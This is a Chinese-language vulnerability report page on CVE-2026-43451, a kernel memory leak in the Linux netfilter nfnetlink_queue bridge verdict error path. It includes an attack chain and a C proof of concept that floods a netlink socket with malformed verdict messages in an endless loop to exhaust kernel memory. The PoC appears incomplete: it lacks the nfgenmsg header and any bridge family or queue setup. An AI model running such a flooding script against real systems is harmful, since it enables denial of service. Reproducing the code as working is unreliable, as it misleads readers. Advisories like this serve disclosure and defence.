IPBUF安全漏洞报告
English
CVE-2026-43451 CVSS 5.5 中危

CVE-2026-43451 Linux内核netfilter内存泄漏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43451
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

内存泄漏Linux内核netfilter拒绝服务本地漏洞

漏洞概述

Linux内核中的netfilter子系统存在一个内存泄漏漏洞。该漏洞位于nfnetlink_queue模块的桥接判决错误路径中。当处理PF_BRIDGE数据包时,`nfqnl_recv_verdict`函数调用`find_dequeue_entry`获取队列条目所有权后,若后续的`nfqa_parse_bridge`函数解析VLAN属性失败(例如缺少TCI),函数会直接返回而未释放已获取的队列条目及相关sk_buff。这会导致内核内存被持续占用,重复触发可耗尽系统内存,造成拒绝服务攻击。

技术细节

该漏洞的根源在于Linux内核netfilter子系统的`nfnetlink_queue`模块中的资源管理逻辑错误。具体而言,`nfqnl_recv_verdict`函数在处理网络数据包的判决时,首先调用`find_dequeue_entry`将条目从队列中移除,此时调用者获得了该条目及其关联数据结构(如`sk_buff`)的所有权。随后,对于PF_BRIDGE类型的数据包,函数会调用`nfqa_parse_bridge`来解析VLAN属性。如果解析过程中遇到错误情况(例如检测到NFQA_VLAN属性但缺少NFQA_VLAN_TCI),代码流程会直接返回错误码。然而,在返回之前并未调用`nfqnl_reinject`释放或重新注入之前获取的队列条目。这种“获取后未释放”的逻辑导致`nf_queue_entry`结构体、套接字缓冲区以及持有的网络设备引用计数发生泄漏。攻击者可通过本地低权限账户反复发送特制的桥接数据包触发该错误路径,导致内核内存逐渐耗尽,最终使系统崩溃或失去响应。

攻击链分析

STEP 1
步骤1:访问获取
攻击者需要获取本地系统的低权限访问权限(PR:L),因为攻击向量为本地(AV:L)。
STEP 2
步骤2:构造恶意数据
攻击者编写程序通过Netlink套接字向内核的nfnetlink_queue模块发送特制的消息。消息中包含NFQA_VLAN属性,但故意缺少NFQA_VLAN_TCI属性。
STEP 3
步骤3:触发漏洞
内核处理该消息时,`nfqnl_recv_verdict`函数会调用`find_dequeue_entry`获取条目,随后`nfqa_parse_bridge`解析失败进入错误路径。由于错误路径未释放已获取的内存条目,导致内存泄漏。
STEP 4
步骤4:拒绝服务
攻击者循环发送该恶意消息,导致内核内存(包括nf_queue_entry和sk_buff)持续泄漏,最终耗尽系统资源,导致系统崩溃或不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43451: Memory Leak in nfnetlink_queue * This code attempts to trigger the leak by sending a malformed verdict * with NFQA_VLAN present but NFQA_VLAN_TCI missing. * Compile: gcc -o poc_cve2026_43451 poc_cve2026_43451.c -lmnl */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <libmnl/libmnl.h> #include <linux/netfilter/nfnetlink_queue.h> #include <linux/netfilter/nfnetlink.h> #define NLMSG_TAIL(nlh) ((struct nlattr *)(((void *)(nlh)) + NLMSG_ALIGN((nlh)->nlmsg_len))) int main() { struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct nlattr *nest; uint32_t portid, seq; int ret; nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); } portid = mnl_socket_get_portid(nl); seq = time(NULL); // Construct Netlink Message nlh = mnl_nlmsg_put_header(buf); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = seq; // Add NFQA_VLAN attribute without NFQA_VLAN_TCI to trigger the bug nest = mnl_attr_nest_start(nlh, NFQA_VLAN); // Intentionally missing NFQA_VLAN_TCI here mnl_attr_nest_end(nlh, nest); // Add Verdict Header (dummy id) struct nfqnl_msg_verdict_hdr vh = { .id = 1, .verdict = NF_DROP }; mnl_attr_put(nlh, NFQA_VERDICT_HDR, sizeof(vh), &vh); // Send the malicious packet repeatedly printf("[+] Sending malformed packets to trigger memory leak...\n"); while(1) { if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("mnl_socket_sendto"); break; } usleep(1000); // Short delay to flood } mnl_socket_close(nl); return 0; }

影响范围

Linux Kernel < 6.10-rc1
Linux Kernel 6.9
Linux Kernel 6.8
Linux Kernel 6.6
Linux Kernel 6.1

防御指南

临时缓解措施
建议立即更新操作系统提供商发布的安全补丁。若无法立即升级,可限制非特权用户访问nfnetlink_queue功能或禁用相关的桥接网络过滤规则以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表